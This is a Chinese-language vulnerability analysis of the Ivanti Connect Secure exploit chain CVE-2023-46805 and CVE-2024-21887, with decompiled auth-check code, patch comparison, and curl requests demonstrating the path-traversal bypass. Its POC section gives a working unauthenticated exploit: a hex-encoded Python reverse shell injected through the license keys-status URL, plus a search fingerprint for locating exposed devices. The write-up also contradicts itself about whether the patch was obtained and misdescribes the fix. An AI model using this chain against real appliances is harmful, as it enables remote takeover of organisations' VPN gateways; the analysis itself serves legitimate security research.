CVE-2023-46805&CVE-2024-21887 Ivanti Rce

基本信息

在Ivanti中存在身份认证绕过漏洞和命令注入漏洞,结合这两个漏洞未经身份验证的远程攻击者可以在目标ivanti connect secure上执行任意代码。

其中CVE-2023-46805为身份验证绕过漏洞,利用路径穿越,攻击者可以未授权访问后端敏感API。CVE-2024-21887为命令注入漏洞,攻击者可以利用该漏洞注入恶意命令并执行,结合这两个漏洞,未授权攻击者可以在ivanti connect secure上执行恶意命令。

指纹

hunter

web.title="Ivanti connect"

影响版本

Ivanti ICS 9.x
Ivanti ICS 22.x

环境搭建

[[07 Vulneribility/漏洞挖掘/Ivanti connect secure/环境搭建|环境搭建]]

技术分析&调试

bin/dsstartws中会启动web服务器

#!/home/ecbuilds/int-rel/sa/22.2/bld657.1/install/perl5/bin/perl -T
# -*- mode:perl; cperl-indent-level: 4; indent-tabs-mode:nil -*-

use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl";
use strict;
use DSSafe;

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;

$SIG{HUP} = 'IGNORE';


if (!-e $install  . "/runtime/webserver/conf/secure.crt" ) {
    system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/");
    system("/bin/cp " . $install . "/webserver/conf/ssl.crt/secure.crt " .
           $install .  "/runtime/webserver/conf");
}
if (!-e $install  . "/runtime/webserver/conf/intermediate.crt" ) {
    system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/");
    system("/bin/cp " . $install . "/webserver/conf/ssl.crt/intermediate.crt " .
           $install .  "/runtime/webserver/conf");
}
if (!-e $ENV{'DSINSTALL'} . "/runtime/webserver/conf/secure.key" ) {
    system("/bin/mkdir -p " .  $install .  "/runtime/webserver/conf");
    system("/bin/cp " . $install . "/webserver/conf/ssl.key/secure.key " .
           $install .  "/runtime/webserver/conf");
}

my $command = $install . "/bin/web -s " . $install . "/runtime/webserver/conf";
exec($command) ;
print "unable to run: $command\n";
exit(-1);

省略时间,从分析文章中可以知道身份认证绕过位于/home/bin/web,反编译其代码,全局搜索/api/v1/totp/user-backup-code,查找引用。

转到doAuthCheck,可以看到会使用strncmp对请求url进行比较,如果url为如下之一,会直接返回true,也就是以下这些url在 doAuthCheck中不用经过身份验证。

当然在其他函数中对其他url进行了额外的校验,但对于/api/v1/totp/user-backup-code,不用身份验证。

  if ( !memcmp(v17, "/dana-na/", 9u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)
    || !strncmp(s1, "/dana-cached/hc/", 0x10u)
    || !strncmp(s1, "/dana-cached/cc/", 0x10u)
    || !strncmp(s1, "/dana-cached/ep/", 0x10u)
    || !strncmp(s1, "/dana-cached/psal/", 0x12u)
    || !strncmp(s1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)
    || !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(s1, "/adfs/ls", 8u)
    || !strncmp(s1, "/api/v1/profiler/", 0x11u)
    || !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  sub_59C40(*((_DWORD *)a1 + 3));
  if ( (unsigned __int8)sub_873D0() )
    return 1;
  v18 = (const char *)*((_DWORD *)a1 + 16);
  if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)
    || !strncmp(v18, "/api/v1/integration/", 0x14u)
    || !strncmp(v18, "/api/v1/dsintegration", 0x15u)
    || !strncmp(v18, "/api/v1/pps/action/", 0x13u)
    || !strncmp(v18, "/api/my-session", 0xFu)
    || !strncmp(v18, "/api/v1/totp/user-backup-code", 0x1Du)
    || !strncmp(v18, "/api/v1/esapdata", 0x10u)
    || !strncmp(v18, "/api/v1/sessions", 0x10u)
    || !strncmp(v18, "/api/v1/tasks", 0xDu)
    || !strncmp(v18, "/api/v1/gateways", 0x10u)
    || !strncmp(v18, "/_/api/aaa", 0xAu)
    || !strncmp(v18, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

doAuthCheckdoDispatchRequest调用,当请求url以以下字符串开头则会转发给python rest server。

char __cdecl doDispatchRequest(DSLog::Debug *a1)
{
...
  if ( !doAuthCheck(a1, (unsigned int *)a1 + 44) )
    return 0;
......
    if ( !memcmp(v5, "/api/v1/profiler/", 0x11u)
      || !memcmp(v5, "/api/v1/cav/", 0xCu)
      || !memcmp(v5, "/api/v1/ueba/", 0xDu)
      || !memcmp(v5, "/api/v1/integration/", 0x14u)
      || !memcmp(v5, "/api/my-session", 0xFu)
      || !memcmp(v5, "/api/v1/dsintegration", 0x15u)
      || !memcmp(v5, "/api/v1/sessions", 0x10u)
      || !memcmp(v5, "/api/v1/tasks", 0xDu)
      || !memcmp(v5, "/_/api/aaa", 0xAu)
      || !memcmp(v5, "/api/v1/esapdata", 0x10u)
      || !memcmp(v5, "/api/v1/totp/user-backup-code", 0x1Du)
      || !memcmp(v5, "/api/v1/gateways", 0x10u)
      || !memcmp(v5, "/api/aaa", 8u)
      || !memcmp(v5, "/api/v1/pps/action/", 0x13u)
      || !memcmp(v5, "/api/v1/oidc", 0xCu)
      || (sub_59C40(*((_DWORD *)a1 + 3)), (unsigned __int8)sub_873D0())
      || (v22 = *((_DWORD *)a1 + 16), (unsigned __int8)sub_853B0()) )
    {
      if ( !byte_13EB88 && __cxa_guard_acquire((__guard *)&byte_13EB88) )
      {
        v46 = "Watchdog";
        if ( !*((_BYTE *)a1 + 240) )
          v46 = "WebRequest";
        dword_13EC80 = DSGetStatementCounter(
                         "request.cc",
                         5179,
                         "doDispatchRequest",
                         v46,
                         10,
                         "Dispatching to pyresthandler-server");
        __cxa_guard_release((__guard *)&byte_13EB88);
      }
      ++*(_QWORD *)dword_13EC80;

}

由以上逻辑可知可以通过/api/v1/totp/user-backup-code和目录穿越绕过权限检查,访问python rest 服务。

➜  ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/totp/user-backup-code/../../license/keys-status
HTTP/1.1 200 Connection established

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 354

{"ive-licCount":0,"ive-maxccu":2,"ive-maxnuc":0,"ive-struct":{"node-data":[{"graceStr":"","hardware-id":"XXX","isReachable":1,"ive-cl-count":0,"ive-hostId":"localhost2","ive-name":"localhost2","ive-named-user-count":0,"ive-user-count":0,"license-keys":[],"num-lic":0,"serial-num":"XXX"}],"num-node":1}}

/api/v1/totp/user-backup-code路径仅存于22.3及以上,对于版本低的,需要使用/api/v1/cav/client/status/接口绕过权限验证。

  if ( !memcmp(v17, "/dana-na/", 9u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)
    || !strncmp(s1, "/dana-cached/hc/", 0x10u)
    || !strncmp(s1, "/dana-cached/cc/", 0x10u)
    || !strncmp(s1, "/dana-cached/ep/", 0x10u)
    || !strncmp(s1, "/dana-cached/psal/", 0x12u)
    || !strncmp(s1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)
    || !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(s1, "/adfs/ls", 8u)
    || !strncmp(s1, "/api/v1/profiler/", 0x11u)
    || !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  sub_50540(*((_DWORD *)a1 + 3));
  if ( (unsigned __int8)sub_7D260() )
    return 1;
  v18 = (const char *)*((_DWORD *)a1 + 16);
  if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)
    || !strncmp(v18, "/api/v1/integration/", 0x14u)
    || !strncmp(v18, "/api/v1/dsintegration", 0x15u)
    || !strncmp(v18, "/api/v1/pps/action/", 0x13u)
    || !strncmp(v18, "/api/my-session", 0xFu)
    || !strncmp(v18, "/api/v1/esapdata", 0x10u)
    || !strncmp(v18, "/api/v1/sessions", 0x10u)
    || !strncmp(v18, "/api/v1/tasks", 0xDu)
    || !strncmp(v18, "/api/v1/gateways", 0x10u)
    || !strncmp(v18, "/_/api/aaa", 0xAu)
    || !strncmp(v18, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

示例:

➜  ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/cav/client/status/../../admin/options
HTTP/1.1 200 Connection established

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 46

{"poll_interval": 99999, "block_message": ""}

python rest 服务在restservice-0.1-py3.6.egg中实现,解压代码,可以在restservice\api\__init__.py中看到其定义了一系列API

api.add_resource(
    Userrecordsynchronization,
    "/api/v1/system/user-record-synchronization",
    "/api/v1/system/user-record-synchronization/database/export",
    "/api/v1/system/user-record-synchronization/database/import",
    "/api/v1/system/user-record-synchronization/database/delete",
    "/api/v1/system/user-record-synchronization/database/retrieve-stats",
)
api.add_resource(
    WebProfile, "/api/v1/system/resource-profiles/web-profile/<path:applet_name>"
)
api.add_resource(
    ActiveSyncDevices,
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>",
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access",
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access",
    "/api/v1/system/status/active-sync-devices",
)
api.add_resource(
    AwsAzureTestConnection,
    "/api/v1/system/maintenance/archiving/cloud-server-test-connection",
)

全局搜索popen

 grep -ir "popen"
restservice/api/resources/awsazuretestconnection.py:                    proc = subprocess.Popen(
restservice/api/resources/config.py:        proc = subprocess.Popen(
restservice/api/resources/config.py:        proc = subprocess.Popen(args, stdout=subprocess.PIPE)
restservice/api/resources/config.py:        popen_args = [
restservice/api/resources/config.py:            popen_args.append("--expand-href")
restservice/api/resources/config.py:            popen_args.append("--exclude-pulse-packages")
restservice/api/resources/config.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)
restservice/api/resources/controller.py:        proc = subprocess.Popen(
restservice/api/resources/controller.py:        proc = subprocess.Popen(
restservice/api/resources/html5.py:        # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE)
restservice/api/resources/license.py:        proc = subprocess.Popen(
restservice/api/resources/license.py:                proc = subprocess.Popen(
restservice/api/resources/license.py:            proc = subprocess.Popen(
restservice/api/resources/license.py:            proc = subprocess.Popen(
restservice/api/resources/license.py:            proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py:                    proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(
restservice/api/resources/nsaregistration.py:                proc = subprocess.Popen(
restservice/api/resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)
restservice/api/resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)
restservice/api/resources/status.py:        ntpq_command_output = os.popen("ntpq -np").read().split("\n")

restservice\api\resources\license.py中有如下代码,将nod_name参数直接拼接到了命令行中,

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name,
                    shell=True,
                    stdout=subprocess.PIPE,
                )

node_name在路由中定义为url中的参数,同时由于指定了shell=True,导致可以通过;注入恶意命令

api.add_resource(
    License,
....
    "/api/v1/license/keys-status/<path:node_name>",
....
    resource_class_kwargs={"ive_logger": ive_logger},
)

POC

payload=$(echo ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"host\",48989));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';" | xxd -p)

curl -ik --path-as-is https://host/api/v1/totp/user-backup-code/../../license/keys-status/$payload

补丁分析

安装补丁后,按照老办法将磁盘密钥拖出来,而后解密磁盘,得到修复后的代码。s

目录穿越 查看diff可知

PyRestHandler:WebHandler函数中对目录穿越漏洞进行了修复,在web服务器将请求转发给restservice之前,先验证了url中是否有../及各种变形,验证通过后才将请求转发给后端的restservice。

命令执行 从补丁中可以看到其将Popen的stdout改为了subprocess.PIPE,从而将命令执行修复。

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                else:
                   ....
                proc = subprocess.Popen(
                    [
                        dsinstall + "/perl5/bin/perl",
                        dsinstall + "/perl/getLicenseCapacity.pl",
                        "getLicenseKeys",
                        node_name,
                    ],
                    stdout=subprocess.PIPE,
                )

同样的在awsazuretestconnection.py中也对命令注入进行了修复

                    args = [
                        dsinstall + "/perl5/bin/perl",
                        dsinstall + "/perl/AwsAzureTestConnection.pl",
                        method,
                    ]
                    args.extend([str(x) for x in server_information])
                    proc = subprocess.Popen(
                        args,
                        shell=False,
                        stdout=subprocess.PIPE,
                    )
                    output, errors = proc.communicate()

小结

这个漏洞利用链利用了二进制文件中路径判断问题,使用目录穿越绕过权限验证访问后端接口,同时通过Popen的命令注入注入恶意命令并执行,构成了完整的利用链,由于没办法获取到补丁,所以暂时没办法分析ivanti怎么修复的该漏洞。

利用截图

参考链接

Welcome To 2024, The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887

KB CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Command Injection) for Ivanti Connect Secure and Ivanti Policy Secure Gateways

https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis

# High Signal Detection and Exploitation of Ivanti’s Pulse Connect Secure Auth Bypass & RCE

PoC

An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.

Created at 2024-02-28T15:57:04+08:00

创建于:Wednesday, February 28,2024
最后修改于: Sunday, April 7,2024